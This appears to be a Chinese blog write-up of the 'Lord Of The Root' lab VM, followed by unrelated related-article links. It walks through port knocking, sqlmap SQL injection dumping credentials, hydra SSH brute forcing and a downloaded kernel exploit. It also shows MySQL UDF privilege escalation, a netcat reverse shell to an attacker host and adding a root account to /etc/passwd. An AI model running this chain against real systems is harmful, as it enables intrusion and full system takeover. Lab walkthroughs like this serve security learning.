【原创】项目六 Load Of The Root
实战流程
新创建文件夹,在这个文件夹里进行操作

nmap扫描下网段

根据nmap逐个排查,发现目标主机,但只有22端口

因此进一步扫描22端口的具体信息,没有扫出很有用的信息

发现靶场又提示一个用户,因此直接通过用户名来ssh,发现需要敲击三次端口(就是端口试探)

端口试探是啥?
端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
如何进行端口碰撞?
首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。
1)第一种方法:knock 命令
linux安装:sudo apt install knockd
使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v
2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1
hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数
参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448
梳理完毕,进行端口敲击

敲击完成,然后全端口扫描,发现了个额外的端口1337开启状态

访问该链接和端口,发现是一张图片,但没有发现该图片的有用信息

手动访问robots.txt文件,发现另外一张图片

查看源代码,发现base64

hash-identifier识别一下该base64,发现无法识别

再试试系统自带的base64的解码,发现解出来的是又是一段base64

那就继续解码,爆出了一个目录

拼接链接,用目录去访问,发现出来个登录页面!

既然是登录框,那就先试试sql注入,使用sqlmap跑,发现一个盲注
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms

然后进行注入,发现成功

接下来报数据库名,因为是一个个字符匹配,因此需要等一会

接收爆破出来的库名结果

接下来试试能不能通过sqlmap直接拿shell,发现可行
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --os-shell

发现写不进去,做了防护,只能继续爆库

开始爆出表名Users
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables

继续爆列名,需要等爆破后,获取结果
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns

接下来继续获取字段值,通过爆破获取账号和密码,并记录到user.txt,passwd
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns -C id,password,username --dump

user:
frodo
smeagol
aragorn
legolas
gimli
passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe
使用hydra进行端口爆破,发现账号和密码
hydra -L user.txt -P pass.txt 192.168.117.131 ssh

接下来进行登陆
smeagol
MyPreciousR00t

开启http服务

靶机获取脚本

进行赋权并执行

发现主机上的漏洞

另外发现缓冲区溢出文件

寻找mysql,尝试用mysql提权;
EXP内核提权
lsb_release -a

谷歌搜索:Ubuntu 14.04 exploit
https://www.exploit-db.com/exploits/39166
searchsploit 39166

cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/lordof/
开启传输
python -m http.server 8081
wget http://10.211.55.19:8081/39166.c

gcc 39166.c -o heiyu
chmod +x heiyu
./dayu
cd /root
cat Flag.txt:
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

10、Mysql UDF提权
UDF提权先查看mysql版本!
dpkg -l | grep mysql --查看历史安装包版本
5.5.44
查看mysql运行权限是不是root!
ps aux | grep mysql ---查看mysql进程信息

在寻找mysql账号密码!
find / -name login.*
发现信息:/var/www/978345210/login.php

查看文件信息
grep "root" -rn 978345210/login.php

获得mysql密码:
darkshadow
登录mysql:
mysql -uroot -pdarkshadow
首先看一下是否满足写入条件:
show global variables like 'secure%';
是可以进行UDF提权的!

查看插件目录:
show variables like '%plugin%';
插件目录在:/usr/lib/mysql/plugin/

查看能否远程登陆:
select user,host from user;
只能本地登录!

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。
MySQL的四种BLOB类型:
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .
mv lib_mysqludf_sys_32.so heiyu.so
完成udf提权
mysql -uroot -pdarkshadow
use mysql
create table heiyu(heiyu longblob);
insert into heiyu values (load_file('/tmp/heiyu.so'));
select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';
create function sys_exec returns string soname 'heiyu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');

find / -exec '/bin/sh' \;
提权成功

拓展知识点(反弹shell):或者利用sys_exec、sys_eval
select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');
openssl passwd heiyu1
YpIR51FecR9AY
select sys_exec('echo "heiyu1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');
【原创】项目六 Load Of The Root的更多相关文章
- eclipse中将项目发布到tomcat的root目录
在eclipse中,将项目直接部署在tomcat的root目录中,这样便可以直接ip:port访问项目: 项目右键->属性->web project settings
- 在eclipse中将项目发布到tomcat的root目录
(1)设置项目上下文,右击项目-properties >Web Page Edit
- eclipse和myeclipse中将项目发布到tomcat的root目录
1.在eclipse中,将项目直接部署在tomcat的root目录中,这样便可以直接ip:port访问项目: 项目右键->属性->web project settings 添加之后直接启动 ...
- [原创] 项目 watch EMFILE 报错处理过程
目录 事件 处理过程 参考资料 小知识点 单进程文件句柄限制 系统总文件句柄限制 inotify 文件系统事件监控 事件 公司XX游戏 S114服启动失败(使用 pomelo - node.js 框架 ...
- GitHub Java项目推荐|不需要 ROOT权限的类似按键精灵的自动操作
不需要 ROOT 权限的类似按键精灵的自动操作软件,可以实现自动点击.滑动.输入文字.打开应用等.Auto.js 的大部分用户用它来点赞.签到.刷游戏 项目分析 仓库名称:Auto.js 标星(sta ...
- 从零开始的SpringBoot项目 ( 六 ) 整合 MybatisPlus 实现代码自动生成
1.添加依赖 <!-- MySQL数据库 --> <dependency> <groupId>mysql</groupId> <artifactI ...
- Java实验项目六——使用DAO模式实现对职工表的操作
Program: 利用JDBC访问职工信息表,实现对职工信息的添加.更新.删除.按照职工号查找.查找全部职工的功能. Description:在这里我采用了DAO设计模式完成对职工表的操作,下面介绍一 ...
- (原创)项目部署-Tomcat设置默认访问项目及项目重复加载问题处理
主要是通过配置<Tomcat安装目录>/conf/server.xml文件 步骤: 1.打开server.xml,在</Host>的上一行添加内容格式如下 <Contex ...
- 期货大赛项目|六,iCheck漂亮的复选框
废话不多说,直接上图 对,还是上篇文章的图,这次我们不研究datatables,而是看这个复选框,比平常的复选框漂亮太多 看看我是如何实现的吧 插件叫iCheck 用法也简单 引入js和css $(& ...
- 【原创项目】GC Server 更新
GC Server 是自己2年前开坑的一个项目,主要是为coder提供方便,内含轻便编译器(不含代码编辑器,就是你把.c/.cpp代码文件放到指定目录下然后打开程序编译),还有各种各样的有助于提升智力 ...
随机推荐
- SQL--Case When.. Then.. end的使用
Case When.. Then.. end的使用场景 当字段有不同的值,根据不同的值表示不同的内容 use [数据库名] go if exists( select * from sys.views ...
- 如何kill一条TCP连接?
原创:扣钉日记(微信公众号ID:codelogs),欢迎分享,转载请保留出处. 简介 如果你的程序写得有毛病,打开了很多TCP连接,但一直没有关闭,即常见的连接泄露场景,你可能想要在排查问题的过程中, ...
- nordic——nrf52系列SWD设置回读保护
在开发时可能需要回读保护功能,在产品出厂后这个功能可以让你的代码更加安全,无法用SEGGER或者其余方式读取你的代码HEX文件,也就是禁用SWD下载接口.但是SWD锁住了,还想使用(从新下载代码)也是 ...
- 【lwip】09-IPv4协议&超全源码实现分析
目录 前言 9.1 IP协议简述 9.2 IP地址分类 9.2.1 私有地址 9.2.2 受限广播地址 9.2.3 直接广播地址 9.2.4 多播地址 9.2.5 环回地址 9.2.6 本地链路地址 ...
- C#怎么在生成解决方案的过程中执行perl脚本(C#早期绑定)
转载 怎么在生成解决方案的过程中执行perl脚本 早期绑定在编译期间识别并检查方法.属性.函数,并在应用程序执行之前执行其他优化.在这个绑定中,编译器已经知道它是什么类型的对象以及它拥有的方法或属性. ...
- 2022春每日一题:Day 23
题目:Piotr's Ants 蚂蚁转头走,其实可以看做他们交换灵魂后接着往前走,同样发现,既然他们的速度相同,那么在数轴上相对位置不会改变(碰面会改变方向),那就好办了. 先把初始状态排序,id都记 ...
- vue 中使用 this 更新数据的一次大坑
情景说明: 之前用 vue 做数据绑定更新时,发现一个莫名奇妙的问题. 我在 vue 实例中声明了一个数组属性如 books: [],在异步请求的回调函数中使用 this.books = res.da ...
- 聊一聊如何截获 C# 程序产生的日志
一:背景 1.讲故事 前段时间分析了一个dump,一顿操作之后,我希望用外力来阻止程序内部对某一个com组件的调用,对,就是想借助外力实现,如果用 windbg 的话,可以说非常轻松,但现实情况比较复 ...
- docker给已存在的容器添加或修改端口映射
简述: 这几天研究了一下docker, 发现建立完一个容器后不能增加端口映射了,因为 docker run -p 有 -p 参数,但是 docker start 没有 -p 参数,让我很苦恼,无奈谷歌 ...
- WEB入门——信息搜集1-20
WEB1--查看源码 查看源码即可得flag. WEB2--JS前端禁用 查看源码即可得flag. JavaScript实现禁用的方法简单来说就是当用户使用键盘执行某一命令是返回的一种状态,而这种状态 ...